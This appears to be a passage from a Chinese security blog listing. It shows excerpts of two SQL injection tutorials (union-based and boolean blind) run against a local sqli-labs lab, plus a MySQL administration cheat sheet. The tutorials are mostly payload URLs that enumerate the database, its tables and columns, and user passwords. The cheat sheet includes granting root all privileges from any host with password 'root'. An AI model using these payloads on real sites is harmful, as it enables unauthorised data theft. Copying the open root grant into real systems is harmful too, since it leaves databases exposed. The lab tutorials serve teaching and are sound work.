三、实例演示(sqli环境) 1、判断表有多少字段,order by 3返回正常,所以有三个字段 http://192.168.139.129/sqli/Less-2/?id=1 order by 3 2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database() http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database() 4、获取数据库security的表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" 获取第二个表、第三个表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 -- 5、获取表名为users的字段名 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 -- 6、获取字段内容 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 -- 禁止非法,后果自负 ...

    2021-05-15 549
  • Mysql注入 -- 布尔注入

    一、常用函数 1、mid(str,1,5):取字符串str的前5个字节 2、ord():转换成ASCII码 3、length():统计长度 4、 ascii():将字符转换ASCII 二、实例演示 1、and 1=1 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=1 --+ 返回正确 2、and 1=2 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=2 --+ 返回错误 3、判断数据库长度 http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=8 --+返回正常,说明数据库长度为8http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=9 --+返回错误 4、判断数据库第一个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),1,1)='s' --+ 不停的修改二十六个字母,知道正确为之 5、判断数据库第二个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),2,1)='e' --+ 最终获取数据库的名称为“security” 6、获取表名,最终获取表名users http://192.168.139.129/sqli/Less-8/?id=1' and mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' --+ 7、获取字段名,最终获取字段名password http://192.168.139.129/sqli/Less-8/?id=1' and mid((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)='p' --+ 8、获取字段内容,最终获取一个名为admin的内容 http://192.168.139.129/sqli/Less-8/?id=1' and mid((select password from users limit 8,1),1,1)='a' --+ 禁止非法,后果自负 ...

    2021-05-15 680
  • mysql的基本用法

    安装 rpm安装 yum install -y mysql-server mysql-devel 启动服务 1.service mysqld start #启动服务 2.service mysqld stop #关闭服务 3.service mysqld restart #重启服务 4.chkconfig mysqld on #设置开机启动 常用操作 mysql客户端命令 mysql -u #用户名 -p #密码 -h #主机 -p #协议(根据tcp, socket, pile等) 更改用户密码 mysqladmin实现 1.mysqladmin -uroot password 'newpassword' -p 或 2.mysqladmin -u root -h hostname password 'newpassword' 修改数据库实现 1. mysql>use mysql; mysql>update user set password = password('newpassword') where user = 'root'; mysql>flush privileges; 2. mysql>set password for 'root@host_name' = password('newpassword'); mysql>update mysql.user set password = password('newpassword') where condition; mysql>flush privileges; 服务端常用命令 交互模式(通过mysql -uroot -p进入) mysql>show databases; #列出所有数据库 mysql>shwo tables; #查看所有表 mysql>show engines; #查看引擎信息 mysql>show character set; #查看字符集 mysql>use DB_NAME; #切换当前数据库 查看数据库当前有访问权限的信息 mysql>use mysql; mysql>select User, Password, Host FROM user; 允许用户远程登陆 mysql>use mysql; mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; mysql>flush privileges; #其中"*.*"代表所有资源所有权限, “'root'@%”其中root代表账户名,%代表所有的访问地址, #也可以使用一个唯一的地址进行替换,只有一个地址能够访问。如果是某个网段的可以使用地址 #与%结合的方式,如10.0.42.%。IDENTIFIED BY 'root',这个root是指访问密码。WITH GRANT OPTION允许级联授权。 删除历史输入的命令 root@localhost# head ~/.mysql_history root@localhost# >~/.mysql_history 批处理模式(用于将表导入数据库) mysql < *.sql 数据库的备份 root@localhost# mysqldump -uroot -p password [DB_NAME] > [DUMP_FILE] #备份指定数据库 root@localhost# mysqldump --no-data --databases mydatabases1 mydatabases2 mydatabases3 > test.dump #只备份表结构 root@localhost# mysqldump --all-databases > [DUMP_FILE] #备份所有数据库 忘记root密码 #跳过访问控制权限进入mysql #编辑 /etc/my.cnf,添加一行:skip-grant-table [mysqld] skip-frant-table #重启mysqld service mysqld restart #修改密码 root@localhost# mysql mysql>use mysql mysql>update mysql.user set password = password('newpassword') where user = 'root' and host = 'localhost'; mysql>flush privileges; mysql>exit #编辑/etc/my.cnf文件 删除skip-grant-table #重启服务 service mysqld restart 创建用户 #登陆mysql mysql -uroot -p密码 #创建用户 mysql> insert into mysql.user(Host,User,Password) values("localhost","test",password("1234")); #创建了一个test用户 密码为1234 且只能本地登陆如果要远程登陆把"localhost"改为"%"。 mysql>flush privileges; 删除用户 #登陆mysql mysql -uroot -p密码 #删除用户 mysql>Delete FROM user Where User='test' and Host='localhost'; mysql>flush privileges; mysql>drop database testDB; #删除用户的数据库 #删除账户及权限 mysql>drop user 用户名@'%'; mysql>drop user 用户名@ localhost; 删除数据库和数据表 mysql>drop database 数据库名; mysql>drop table 数据表名; 导入导出.sql文件的方法 #导出数据和表结构: mysqldump -u用户名 -p密码 数据库名 > 数据库名.sql root@localhost# mysqldump -uroot -p abc > abc.sql #只导出表结构 mysqldump -u用户名 -p密码 -d 数据库名 > 数据库名.sql root@localhost# mysqldump -uroot -p -d abc > abc.sql #导入数据库 1.建立空数据库 mysql>create database abc; 2.导入数据库 1).选择数据库 mysql>use abc; 2).设置数据库编码 mysql>set names utf8; 3).导入数据库(注意sql文件路径) mysql>source /root/abc.sql...

    2019-09-13 904

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注